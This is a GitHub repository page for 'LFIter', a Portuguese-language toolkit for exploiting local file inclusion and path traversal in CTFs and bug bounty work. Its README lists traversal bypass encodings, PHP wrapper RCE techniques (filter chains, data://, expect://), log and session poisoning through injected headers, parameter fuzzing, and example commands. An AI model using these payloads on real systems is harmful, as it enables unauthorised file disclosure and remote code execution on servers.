Skip to content
MateuzCabralPublic

About

Toolkit de exploração de LFI/Path Traversal para CTFs e Bug Bounty bypass automático de filtros, PHP wrappers, log poisoning e fuzzing de parâmetros.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

LFIter

Toolkit de exploração de LFI / Path Traversal para CTFs e Bug Bounty.

Detecta automaticamente filtros do servidor e gera variantes de bypass em quatro módulos de ataque: path traversal, PHP wrappers, log poisoning e fuzzing de parâmetros.


Requisitos

pip install requests

Python 3.10+


Uso

python3 lfiter.py -u "<URL com FUZZ>" [opções] --<módulo>

A palavra FUZZ marca o ponto de injeção na URL.


Opções

Flag Descrição
-u, --url URL alvo com FUZZ no ponto de injeção
-f, --file Arquivo PHP alvo para ataques de wrapper (padrão: index.php)
--os SO alvo: Linux (padrão) ou Windows
--prefix Prefixo obrigatório no payload (para bypass de filtro de path)
--cookie Cookie de sessão — ex: PHPSESSID=abc123
--header Header extra, repetível — ex: --header 'X-Token: abc'
--proxy Proxy HTTP/S — ex: http://127.0.0.1:8080
--timeout Timeout por requisição em segundos (padrão: 5)
--threads Quantidade de threads paralelas (padrão: 30)
--wordlist Wordlist externa de parâmetros para --fuzz
--output Salvar findings em .json ou .txt
--no-auto-detect Pula detecção automática de filtros
-v, --verbose Exibe payloads que falharam também

Módulos

--all

Executa todos os quatro módulos em sequência com detecção de filtros compartilhada.

--traversal

Testa 34 arquivos sensíveis (Linux ou Windows) com 13 variantes de bypass por path — ....//, %2e%2e/, %252e%252e%252f, ..%c0%af, null bytes, entre outros. Multithreaded.

--wrappers

Testa 15+ PHP stream wrappers:

Wrapper Finalidade
php://filter/base64 Lê código-fonte PHP codificado em base64
php://filter/rot13 Lê código-fonte com codificação ROT13
php://filter/iconv Cadeia de encoding para bypass de filtros de saída
php://filter/zlib Leitura comprimida em base64
php://filter/chain-rce Filter chain RCE (sem necessidade de upload)
data://text/plain Execução de PHP inline
data://text/plain;base64 RCE inline codificado em base64
php://input Execução via corpo do POST
expect:// Execução direta de comandos (se habilitado)
zip://, phar:// Inclusão de shell pós-upload

Quando --prefix é definido, os resources dos wrappers são ajustados automaticamente para incluir o prefixo obrigatório + traversal.

--log

Injeta payloads PHP via headers User-Agent e Referer, depois testa arquivos de log comuns para RCE usando ?cmd=id. Testa 5 funções de execução PHP (system, passthru, exec, shell_exec, popen) para contornar disable_functions parcial.

Também detecta e tenta PHP session poisoning automaticamente quando um cookie PHPSESSID está presente.

Arquivos de log testados: Apache, Nginx, auth.log, syslog, mail.log, vsftpd.log, /proc/self/environ.

--fuzz

Descobre qual parâmetro é vulnerável testando 44 nomes comuns de parâmetros (ou uma wordlist personalizada) com payloads de traversal. Multithreaded.


Detecção de Filtros

Antes de executar qualquer módulo, o LFIter envia 6 requisições de diagnóstico para detectar automaticamente:

Regra Significado
blocks_dotdot Servidor bloqueia ../.. — ativa bypasses com ....// e encoding
blocks_null Servidor bloqueia %00 — payloads com null byte são removidos
extension_check Servidor força extensão .php — null byte é adicionado para truncar
requires_prefix Um path específico deve aparecer no valor do parâmetro

Os resultados são passados ao BypassEngine, que seleciona automaticamente as variantes de payload compatíveis para cada módulo.

Use --no-auto-detect para pular essa fase e configurar as regras manualmente via --prefix.


Exemplos

# Scan completo — detecta todos os filtros automaticamente
python3 lfiter.py -u "http://alvo.com/index.php?page=FUZZ" --all

# CTF com prefixo obrigatório no parâmetro
python3 lfiter.py -u "http://alvo.com/test.php?view=FUZZ" --all \
    --prefix "/var/www/html/development_testing"

# Ler código-fonte de um arquivo PHP específico via wrappers
python3 lfiter.py -u "http://alvo.com/index.php?file=FUZZ" \
    --wrappers --file config.php

# Descobrir o nome do parâmetro vulnerável
python3 lfiter.py -u "http://alvo.com/index.php" \
    --fuzz --wordlist /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

# Log poisoning com sessão autenticada
python3 lfiter.py -u "http://alvo.com/page.php?view=FUZZ" \
    --log --cookie "PHPSESSID=abc123"

# Scan completo via proxy Burp com output em JSON
python3 lfiter.py -u "http://alvo.com/?p=FUZZ" --all \
    --proxy http://127.0.0.1:8080 \
    --cookie "session=xyz" \
    --output findings.json \
    --threads 20

Como o BypassEngine funciona

Todo payload passa por BypassEngine.generate(), que produz variantes para um path-alvo com base nas regras detectadas. Quando requires_prefix está definido, o prefixo é anteposto e as sequências de traversal sobem a partir dele. Quando blocks_dotdot é True, variantes que ainda contêm ../.. são descartadas.

As 13 técnicas de traversal por nível de profundidade:

../                     # direto
....//                  # sobrevive a remoção simples de ../
..././                  # variação do double-dot
%2e%2e/                 # ponto com URL encode
..%2f                   # barra com URL encode
%252e%252e%252f         # double URL encode
..%c0%af                # barra UTF-8 overlong
..%ef%bc%8f             # barra full-width
..\                     # backslash Windows
../../%00               # null byte — trunca extensão forçada
../../\x00              # null byte raw
..%2f%2f                # barra dupla encoded
..%2F                   # barra uppercase encoded

Output

Os findings são exibidos no stdout com cores por severidade. Use --output para salvar:

--output results.json   # JSON estruturado
--output results.txt    # texto simples

Wordlists recomendadas

Combine o LFIter com o SecLists para maior cobertura:

Fuzzing/LFI/LFI-Jhaddix.txt
Discovery/Web-Content/burp-parameter-names.txt

Aviso Legal

O LFIter é destinado exclusivamente ao uso em sistemas próprios ou em sistemas para os quais você possui autorização explícita e por escrito. O uso não autorizado contra sistemas de terceiros pode ser ilegal. Os autores não se responsabilizam pelo uso indevido da ferramenta.

About

Toolkit de exploração de LFI/Path Traversal para CTFs e Bug Bounty bypass automático de filtros, PHP wrappers, log poisoning e fuzzing de parâmetros.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages